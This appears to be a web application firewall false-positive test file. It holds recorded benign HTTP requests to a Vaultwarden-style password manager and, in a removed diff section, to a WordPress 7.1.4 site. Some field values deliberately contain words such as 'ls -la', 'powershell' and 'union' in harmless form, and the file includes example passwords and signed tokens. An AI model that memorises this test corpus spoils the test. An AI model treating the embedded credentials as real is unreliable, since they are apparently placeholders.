{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 35", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"email\":\"python3.ops@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20c6a127-e84f-4010-8416-c5bcef15d0bd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 85", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5NDI5MDM4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6IjIwYzZhMTI3LWU4NGYtNDAxMC04NDE2LWM1YmNlZjE1ZDBiZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.BdjhBukR0uiqdlUr2oilQ5QvOa1flSWIO5htzH1FpGLeqprj-zyM_OR8szEtaHXl_i7IsCxgDhI36R8d9r4KJd74nmD7H0fzqLi1D3lGkccW8OjCX5YjU81XvARUXMp1C-7g-mkhPaojcvgwuQN2pWXWjZIy1JHhP-rSZX-0HXiECXCQdGiv-UCrNO6N7QOApS6OvNK6sgQQTZ1J08VjSYdWI6E-zwZh6U2_Ox3XT6XTB8VzSAjqynJErLlEinr4ejWYkUaCT56PsEj-vBgIKtuIACI6gy60Z5A0SbWuIbJtzwbecvjhcKhS_5AF48NUEUfKxdzRdsE0MwvIBYAXFg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"powershell.billing@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5Njg3NTE4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNWJTTklURmQxRzYxN1lFRFJleUlvUFhzSkpMWkdQSUliY2szVFZjSUZfaEdkZGdrdVpUaTFsQ09OUlRYV2tlTEJYdHNld3RWV2IySEZuSlB3WDMtNWc9PSIsInRva2VuIjpudWxsfQ.hdoq_DygkBEZGPxknOVIPcSkU7Qz8GItq9KjB42QX747e8luUPjgn9KpEBiH9NDnDO2oAycbyaxJ9rAcSeYovNPzkoDlTyl-qvJgR07UMHKNyhrqblEhde6JcDaxRYBwb0JS1HPY2YPC8TZr_c3zvOJhnOVKv2DegVY94xFFCB1USPphpkS1DYMfo2QaBTW--ryhnL562CVL4Rz4cEVr0tvSzQvYkwB8ro3p_z2TT8Vxz3n9zfBGV_8uIFIGnw8d9CbIuypTEWgZg9bvazVZP88ooeTU7JIa2ylB3-P0HNhgrvKlMvbqIPAA4dRIyIhyO_ulBNIJDPaiUGWBAEzeXA"}
-548
View File
@@ -1,548 +0,0 @@
# Ordinary WordPress 7.1.4 requests, one JSON object a line, that the Core Rule
# Set must let through. Recorded from a browser and an API client, with the
# password, the cookies that sign in, the contents of uploaded files and the
# author of a plugin replaced.
{"method": "GET", "target": "/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dashicons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/buttons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/forms.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dist/base-styles/admin-schemes.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/install.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/l10n.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/js/language-chooser.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery.min.js?ver=3.7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/wordpress-logo-gray.svg?ver=20260303", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 9", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": "language="}
{"method": "GET", "target": "/wp-includes/js/clipboard.min.js?ver=2.0.11", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/underscore.min.js?ver=1.13.8", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/wp-util.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203120.0892329216003417968750", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/2026/11/09/hello-world/", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 203", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": "weblog_title=Example+Blog&user_name=editor1&admin_password=Tr0ub4dor%263-horse-staple%21&admin_password2=Tr0ub4dor%263-horse-staple%21&admin_email=editor1%40example.com&Submit=Install+WordPress&language="}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?page_id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sample-page/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?cat=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/category/uncategorized/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/404-image.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/category/uncategorized/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?m=202611", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/2026/11/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?author=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/editor1/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=comments-rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/comments/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=hello", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=O%27Reilly+books", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=how+to+select+a+table+from+a+catalog", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=%22union+station%22+tickets", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=rock+%26+roll", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=cat+food", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=script+writing", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=one%2Ftwo", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?paged=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/hello-world/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/search/hello/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
